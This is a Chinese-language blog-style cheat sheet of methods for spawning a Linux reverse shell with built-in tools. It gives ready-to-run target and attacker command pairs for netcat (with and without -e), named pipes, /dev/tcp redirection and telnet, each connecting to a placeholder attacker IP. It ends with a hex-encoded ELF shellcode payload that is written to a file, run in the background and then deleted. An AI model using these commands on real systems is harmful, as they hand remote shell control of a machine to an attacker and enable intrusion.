reverse shell的几种方式

前言

  • 这篇文章主要介绍一下几种通过linux内置工具得到reverse shell的几种方法。
  • linux(GNUx)有很多的发行版,不同的发现版之前的内置工具、安全机制等都有所不同。
  • 下文中的几个例子一般在大多数的系统中是通用的。
  • 这里主要重点关注一下4和5

    场景

  • 要求能够使用者能够在目标机器上运行一些基本的命令。

    例子

  • 下面的一些例子中使用A代表攻击者(Attacker),T代表Target(目标)

    1.netcat

1
2
nc <attacker_ip> <port> -e /bin/bash # T
nc -n -vv -l -p <port> # A
  • 现在的netcat版本可能没有-e参数。

    2.netcat -e被禁用或者没有-e参数

  • 那么可以使用下面的命令
1
2
mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe # T
nc -n -vv -l -p <port> # A

3.不使用netcat

1
2
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1 # T
nc -n -vv -l -p <port> # A
  • 这个也是大多数人用的方式,这种方式使用了/dev/tcp套接字的编程特性,重定向/bin/bash到远程系统

    4.不使用netcat和/dev/tcp

1
2
mknod backpipe p && telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe # T
nc -n -vv -l -p <port> # A

  • 使用telnet代替nc

    5.telnet to telnet

1
2
3
telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port> # T
nc -n -vv -l -p <1st_port> # A1
nc -n -vv -l -p <2nd_port> # A2

  • 这第五个其实挺有意思的。这里用了两个telnet的会话去连接到了远程的ip,其中第一个会话用来输入命令,第二个会话用来显示命令执行后的结果

    6.机器码

  • 这里的shellcode可以使用msf生成
    1
    2
    nc -v -l 1337 # Attacker
    echo -e "\x7F\x45\x4C\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00\x00\x60\x80\x04\x08\x34\x00\x00\x00\xBC\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xAA\x00\x00\x00\xAA\x00\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6A\x66\x58\x6A\x01\x5B\x31\xD2\x52\x53\x6A\x02\x89\xE1\xCD\x80\x92\xB0\x66\x68\x7F\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xE1\x6A\x10\x51\x52\x89\xE1\x43\xCD\x80\x6A\x02\x59\x87\xDA\xB0\x3F\xCD\x80\x49\x79\xF9\xB0\x0B\x41\x89\xCA\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80\x00\x2E\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2E\x74\x65\x78\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x60\x80\x04\x08\x60\x00\x00\x00\x4A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xAA\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" > c; chmod +x c;./c & rm c # Target

小结

  • 这里只是一些小技巧,我希望在我们遇到比如某些命令在某个系统中不能使用的时候,或许我们可以发现并使用其它的方式,可以达到同样的效果,而不是在一棵树上吊死

    参考

  • Spawning reverse shells